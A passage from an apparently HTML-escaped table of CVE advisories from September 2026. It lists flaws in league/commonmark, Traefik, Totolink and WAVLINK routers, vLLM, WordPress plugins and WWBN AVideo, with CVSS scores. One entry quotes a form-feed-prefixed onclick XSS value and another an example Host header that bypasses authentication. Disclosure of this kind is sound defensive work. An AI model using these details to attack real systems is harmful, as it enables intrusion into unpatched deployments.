&lt;td&gt;league/commonmark versions before 2.9.1 contain multiple denial of service vulnerabilities in fenced code block detection, reference link label lookup, and emphasis delimiter processing that perform super-linear work on crafted input. Attackers can submit specially crafted Markdown with long backtick runs, nested brackets, or delimiter sequences to consume disproportionate CPU time and prevent legitimate requests from completing.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86430&quot; target=&quot;_blank&quot;&gt;CVE-2026-86430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;league/commonmark (thephpleague/commonmark) versions &amp;gt;= 2.7.0 and &amp;lt; 2.9.1 contain a cross-site scripting vulnerability in the AttributesExtension. Prefixing an attribute name with a single U+000C form feed byte (e.g. {\x0Conclick=&quot;alert(1)&quot;}) bypasses the AttributesHelper::filterAttributes() &#039;on*&#039; event-handler filter because PHP&#039;s trim() does not strip U+000C, causing the attribute to be written verbatim into the output where browsers parse it as a genuine event handler. The same prefix also defeats the allow_unsafe_links check, allowing javascript: URIs through href/src attributes even when allow_unsafe_links is false. Exploitation requires processing untrusted Markdown with the AttributesExtension enabled; the injected script executes when the rendered HTML is viewed. Fixed in 2.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86431&quot; target=&quot;_blank&quot;&gt;CVE-2026-86431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;commonmark versions from 1.5.0 before 2.8.4 contain a denial of service vulnerability in the Attributes extension where AttributesListener::findTargetAndDirection() performs quadratic-time sibling list scanning. Unauthenticated attackers can submit approximately 32 KB of repeated attribute blocks to cause parsing to take over 5 seconds, exhausting server resources.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86433&quot; target=&quot;_blank&quot;&gt;CVE-2026-86433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;league/commonmark versions &amp;gt;= 2.0.0 and &amp;lt; 2.8.4 (patched in 2.9.0) contain a denial of service vulnerability in UniqueSlugNormalizer::normalize(), which restarts its numeric-suffix search from 1 on every slug collision, resulting in O(K^2) time complexity for K headings that collapse to the same base slug. The vulnerable path is reached when HeadingPermalinkExtension, FootnoteExtension, or TableOfContentsExtension is registered. An unauthenticated attacker can force many headings onto a single base slug (e.g., via empty ATX headings, identical heading text, or punctuation-only headings) in a small Markdown document, consuming excessive CPU and denying service.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86434&quot; target=&quot;_blank&quot;&gt;CVE-2026-86434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;commonmark versions from 1.5.0 before 2.8.4 contain a denial of service vulnerability in the Footnote extension that fails to deduplicate footnote definitions. Attackers can craft documents with duplicate footnote definitions and references to create quadratic output expansion, consuming excessive memory and CPU to exhaust server resources.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86435&quot; target=&quot;_blank&quot;&gt;CVE-2026-86435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tonec--Internet Download Manager&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Tonec Internet Download Manager up to 6.42 Build 63 on Windows. The impacted element is an unknown function of the file idmwfp.sys of the component Kernel Driver. The manipulation results in improper access controls. Attacking locally is a requirement. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90493&quot; target=&quot;_blank&quot;&gt;CVE-2026-90493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Totolink A3002MU Hh-B20211125.1046. This vulnerability affects the function formFilter of the file /boafrm/formFilter of the component boa. Executing a manipulation of the argument ip6addr can lead to buffer overflow. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90605&quot; target=&quot;_blank&quot;&gt;CVE-2026-90605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Totolink A3002MU Hh-B20211125.1046. This issue affects the function formIpv6Setup of the file /boafrm/formIpv6Setup of the component boa. The manipulation of the argument static_ipv6 leads to buffer overflow. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90606&quot; target=&quot;_blank&quot;&gt;CVE-2026-90606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;traefik--traefik&lt;/td&gt;
&lt;td&gt;Traefik is a HTTP reverse proxy and load balancer. In versions &amp;gt;= v3.7.0 and &amp;lt;= v3.7.11, the Kubernetes ingress-nginx provider mishandles Ingresses that carry both an authentication annotation and the nginx.ingress.kubernetes.io/from-to-www-redirect annotation. For such Ingresses the provider creates an additional &#039;sibling&#039; router that matches on the host alone, carries only the RedirectRegex middleware, and still points at the parent router&#039;s protected backend service. Because RedirectRegex is not a terminal handler, a request its pattern does not match is forwarded to the backend, and because the redirect pattern only accepts a numeric port while Traefik&#039;s host matcher canonicalizes the authority via net.SplitHostPort, a request with a non-numeric or empty port (for example &#039;Host: www.example.com:x&#039;) selects the sibling router, misses the redirect, and is proxied to the protected backend with none of the Ingress&#039;s annotation-derived middlewares applied. This discards not only authentication (e.g. BasicAuth) but every annotation-derived middleware, including source-IP allowlisting. Traefik v2 and v3 releases before v3.7.0 are not affected. The issue is fixed in v3.7.12.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88877&quot; target=&quot;_blank&quot;&gt;CVE-2026-88877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TUBITAK BILGEM Software Technologies Research Institute--Pardus Boot Repair&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS command injection&#039;) vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Boot Repair allows OS Command Injection. This issue affects Pardus Boot Repair: before 1.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8301&quot; target=&quot;_blank&quot;&gt;CVE-2026-8301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TUBITAK BILGEM Software Technologies Research Institute--Pardus Software&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS command injection&#039;) vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software allows OS Command Injection. This issue affects Pardus Software: before 1.0.5.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7863&quot; target=&quot;_blank&quot;&gt;CVE-2026-7863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TUBITAK BILGEM Software Technologies Research Institute--Pardus-software&lt;/td&gt;
&lt;td&gt;Incorrect privilege assignment vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus-software allows Privilege Escalation. This issue affects Pardus-software: before 1.0.5.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8303&quot; target=&quot;_blank&quot;&gt;CVE-2026-8303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;UDX Usability Dynamics--WP-Stateless&lt;/td&gt;
&lt;td&gt;Subscriber Settings Change in WP-Stateless &amp;lt;= 4.4.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81801&quot; target=&quot;_blank&quot;&gt;CVE-2026-81801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unbounce--Unbounce Landing Pages&lt;/td&gt;
&lt;td&gt;Missing Authorization vulnerability in Unbounce Unbounce Landing Pages unbounce allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Unbounce Landing Pages: from n/a through 1.1.4.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81781&quot; target=&quot;_blank&quot;&gt;CVE-2026-81781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unitecms--Unlimited Elements For Elementor&lt;/td&gt;
&lt;td&gt;The Unlimited Elements For Elementor plugin for WordPress is vulnerable to SQL Injection via the &#039;addontype&#039; parameter in versions up to, and including, 2.0.16. This is due to insufficient escaping on the user-supplied parameter and the lack of sufficient preparation on the existing SQL query in the getWhereString() function; when the parameter is supplied as an array, element zero is used verbatim as the SQL comparison operator and concatenated into the WHERE clause without sanitization, while normalizeAjaxInputData() strips WordPress&#039;s magic_quotes protection from the value. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18561&quot; target=&quot;_blank&quot;&gt;CVE-2026-18561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unlimited Elements--Unlimited Elements For Elementor (Free Widgets, Addons, Templates)&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Unlimited Elements For Elementor (Free Widgets, Addons, Templates) &amp;lt;= 2.0.17 versions.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84820&quot; target=&quot;_blank&quot;&gt;CVE-2026-84820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;UnrealIRCd--UnrealIRCd&lt;/td&gt;
&lt;td&gt;The webserver in UnrealIRCd 6.0.5 through 6.2.6 before 6.2.7 does not limit the number of HTTP request headers, which allows remote attackers to cause a denial of service (memory consumption and unresponsive server) via an HTTP request with an unlimited number of headers, if a websocket or JSON-RPC listener is enabled (disabled by default).&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90668&quot; target=&quot;_blank&quot;&gt;CVE-2026-90668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;usmannasir--cyberpanel&lt;/td&gt;
&lt;td&gt;CyberPanel before 3.0.5 fails to enforce two-factor authentication on API endpoints, allowing attackers to bypass TOTP requirements using password-derived tokens. Attackers who obtain an administrator&#039;s password can derive API tokens and perform administrative operations or create authenticated sessions without the second factor.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88895&quot; target=&quot;_blank&quot;&gt;CVE-2026-88895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Very Good Plugins--WP Fusion (Pro)&lt;/td&gt;
&lt;td&gt;The WP Fusion (Pro) plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.47.13. This is due to insufficient authorization checks on the role parameter in the ThriveCart Auto Login handler&#039;s thrivecart() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, and who possess the access_key, to create a new user account with administrator privileges and gain full control over the WordPress site. The required access_key is intentionally shared with ThriveCart customers as part of the plugin&#039;s documented setup process, making it accessible to attackers who have made a purchase. The vulnerability is only exploitable when the ThriveCart Auto Login option is enabled.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14444&quot; target=&quot;_blank&quot;&gt;CVE-2026-14444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;VideoLAN--VLC media player&lt;/td&gt;
&lt;td&gt;VLC media player versions 3.0.0 through 3.0.23 contain a memory-safety vulnerability reachable when processing crafted media. Exploitation requires user interaction and may result in application termination or code execution with the privileges of the VLC process.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56711&quot; target=&quot;_blank&quot;&gt;CVE-2026-56711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;VillaTheme--Thank You Page Customizer for WooCommerce&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Thank You Page Customizer for WooCommerce &amp;lt;= 1.2.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81786&quot; target=&quot;_blank&quot;&gt;CVE-2026-81786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Viszt Pter--Csomagpontok s szlltsi cmkk WooCommerce-hez&lt;/td&gt;
&lt;td&gt;Missing Authorization vulnerability in Viszt PÃ©ter Csomagpontok Ã©s szÃ¡llÃ­tÃ¡si cÃ­mkÃ©k WooCommerce-hez allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Csomagpontok Ã©s szÃ¡llÃ­tÃ¡si cÃ­mkÃ©k WooCommerce-hez: from n/a before 4.2.8.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81790&quot; target=&quot;_blank&quot;&gt;CVE-2026-81790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vLLM&lt;/td&gt;
&lt;td&gt;vLLM before 0.28.0 contains a remote code execution vulnerability in the LlavaOnevision2 processor loader that ignores the trust_remote_code parameter when loading remote processor classes. Attackers can craft a malicious model with arbitrary code in processing_llava_onevision2.py that executes with vLLM process authority even when trust_remote_code is set to False.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90553&quot; target=&quot;_blank&quot;&gt;CVE-2026-90553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vvbbnn00--WARP-Clash-API&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. The impacted element is the function authorized. The manipulation of the argument SECRET_KEY leads to missing authentication. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90504&quot; target=&quot;_blank&quot;&gt;CVE-2026-90504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Waves Audio Ltd.--Waves Central&lt;/td&gt;
&lt;td&gt;Waves Central for macOS contains a local privilege escalation in the privileged helper service. The helper authorizes connecting XPC clients by comparing the caller&#039;s code-signing certificate chain for equality with its own, rather than validating the caller against a pinned code requirement (application identifier and Team ID). A local, authenticated user can execute code within the vendor-signed process, satisfy the helper&#039;s client check, and cause the helper to execute a script with root privileges. Fixed in 17.0.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86819&quot; target=&quot;_blank&quot;&gt;CVE-2026-86819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WAVLINK Technology--WN535M1&lt;/td&gt;
&lt;td&gt;WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1_V250922 contain an unauthenticated arbitrary file write vulnerability that allows remote attackers to overwrite any file on the device by sending a crafted payload to the sync_server daemon on TCP port 13136. The daemon, which runs as root and requires no authentication, accepts a 100-byte filename field in its protocol header without path canonicalization, allowing attackers to supply an absolute path and write arbitrary content to overwrite startup scripts or credential stores to achieve persistent system compromise.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89009&quot; target=&quot;_blank&quot;&gt;CVE-2026-89009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WAVLINK Technology--WN535M1&lt;/td&gt;
&lt;td&gt;WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1_V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the sync_server daemon on TCP port 13136. The daemon interpolates attacker-controlled filename input containing shell metacharacters into a shell command string via sprintf() and passes it to system() without sanitization, enabling root-level command execution on the device.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89010&quot; target=&quot;_blank&quot;&gt;CVE-2026-89010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wowDevs--Sky Addons for Elementor&lt;/td&gt;
&lt;td&gt;Editor SQL Injection in Sky Addons for Elementor &amp;lt;= 3.8.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62109&quot; target=&quot;_blank&quot;&gt;CVE-2026-62109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Swings--Return Refund and Exchange For WooCommerce&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Return Refund and Exchange For WooCommerce &amp;lt;= 4.6.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81799&quot; target=&quot;_blank&quot;&gt;CVE-2026-81799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Travel--WP Travel&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Authentication in WP Travel &amp;lt;= 12.0.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81796&quot; target=&quot;_blank&quot;&gt;CVE-2026-81796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpeverest--Everest Forms&lt;/td&gt;
&lt;td&gt;Unauthenticated PHP Object Injection in Everest Forms &amp;lt;= 3.6.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62103&quot; target=&quot;_blank&quot;&gt;CVE-2026-62103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wplegalpages--WPLP Cookie Consent Cookie Banner &amp;amp; Consent Management for GDPR, CCPA &amp;amp; Google Consent Mode&lt;/td&gt;
&lt;td&gt;The Cookie Banner for GDPR / CCPA - WPLP Cookie Consent plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;wpl_user_preference&#039; parameter in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The consent-logging AJAX endpoint is registered for unauthenticated users and its required nonce (wpl_consent_logging_nonce) is publicly emitted via wp_localize_script on the frontend, meaning any unauthenticated site visitor can plant a payload without any prior authentication or privileged access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14989&quot; target=&quot;_blank&quot;&gt;CVE-2026-14989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the AD_Server plugin&#039;s log.php endpoint that fails to escape the label parameter before storage. An unauthenticated attacker can inject malicious HTML through the label parameter, which is later rendered unsanitized in the admin Ad Types report using jQuery .html(), allowing execution of arbitrary JavaScript in an administrator&#039;s browser session.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88869&quot; target=&quot;_blank&quot;&gt;CVE-2026-88869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate ownership of live_restreams_id in resendRestreamer.json.php, allowing authenticated users with canStream to access other users&#039; restream destinations. Attackers can broadcast their live stream to victim-configured restream destinations by supplying arbitrary live_restreams_id values, hijacking YouTube, Facebook, or Twitch streams using victim stream keys.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86720&quot; target=&quot;_blank&quot;&gt;CVE-2026-86720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains an authentication bypass vulnerability where sqlDAL caches empty result sets that writeSql never invalidates. Attackers with a valid password can bypass email two-factor authentication on new devices because the confirmation code hash fails to generate from the stale cached empty result.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86722&quot; target=&quot;_blank&quot;&gt;CVE-2026-86722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through c3edcc274c389816d434acadac07ee78eaf330c1 contains an authentication bypass vulnerability in LoginControl::verifyChallenge() that uses loose comparison (==) instead of strict comparison (===) against unset session values. Attackers with only a password can submit an empty request to verifyChallenge.json.php to bypass PGP two-factor authentication and gain full authenticated access.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86723&quot; target=&quot;_blank&quot;&gt;CVE-2026-86723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate restream ownership in getRestream.json.php, allowing authenticated users with canStream permission to mint tokens for arbitrary restreams. Attackers can exchange the token to retrieve other users&#039; stream keys from getLiveKey.json.php and publish to their YouTube, Twitch, or RTMP destinations.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88865&quot; target=&quot;_blank&quot;&gt;CVE-2026-88865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to encode the User-Agent header before storing it in login history. Attackers with any valid login account can inject malicious scripts in the User-Agent header that execute in administrator browsers when viewing the Login History page, allowing script execution within the administrator session.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88866&quot; target=&quot;_blank&quot;&gt;CVE-2026-88866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
